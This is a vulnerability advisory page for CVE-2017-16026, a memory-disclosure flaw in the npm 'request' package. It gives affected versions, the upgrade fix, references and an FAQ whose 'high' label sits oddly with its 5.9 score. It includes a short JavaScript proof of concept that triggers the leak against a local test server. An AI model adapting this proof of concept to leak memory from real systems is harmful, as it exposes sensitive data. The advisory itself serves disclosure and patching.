CVE-2017-16026: Input Validation
First published: Thu Apr 26 2018(Updated: )
Affected versions of `request` will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of `body` is `number`, then a buffer of that size will be allocated and sent to the remote server as the body. ## Proof of Concept ```js var request = require('request'); var http = require('http'); var serveFunction = function (req, res){ req.on('data', function (data) { console.log(data) }); res.end(); }; var server = http.createServer(serveFunction); server.listen(8000); request({ method: "POST", uri: 'http://localhost:8000', multipart: [{body:500}] },function(err,res,body){}); ``` ## Recommendation Update to version 2.68.0 or later
Credit: support@hackerone.com support@hackerone.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| Request Project Request | >=2.2.6<2.47.0 | |
| Request Project Request | >2.51.0<=2.67.0 |
Never miss a vulnerability like this again
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
Reference Links
- https://nvd.nist.gov/vuln/detail/CVE-2017-16026
- https://github.com/request/request/issues/1904
- https://github.com/request/request/pull/2018
- https://github.com/request/request/pull/2022
- https://github.com/request/request/commit/29d81814bc16bc79cb112b4face8be6fc00061dd
- https://github.com/advisories/GHSA-7xfp-9c55-5vqj (Advisory)
- https://nodesecurity.io/advisories/309
Frequently Asked Questions
What is the severity of CVE-2017-16026?
The severity of CVE-2017-16026 is high (5.9).
How does CVE-2017-16026 affect request?
CVE-2017-16026 affects certain versions of the `request` package.
What is the impact of CVE-2017-16026?
CVE-2017-16026 can disclose local system memory to remote systems in certain circumstances.
How can I fix CVE-2017-16026?
To fix CVE-2017-16026, upgrade to version 2.68.0 or apply the appropriate patches.
Where can I find more information about CVE-2017-16026?
You can find more information about CVE-2017-16026 on the NVD website and GitHub.
- collector/github-advisory-latest
- alias/GHSA-7xfp-9c55-5vqj
- alias/CVE-2017-16026
- collector/github-advisory
- collector/nvd-index
- collector/nvd-cve
- agent/author
- agent/type
- agent/softwarecombine
- collector/mitre-cve
- source/MITRE
- agent/last-modified-date
- agent/severity
- agent/references
- agent/weakness
- agent/first-publish-date
- agent/event
- agent/tags
- agent/description
- agent/trending
- package-manager/npm
- vendor/request project
- canonical/request project request
- version/request project request/2.2.6
- version/request project request/2.67.0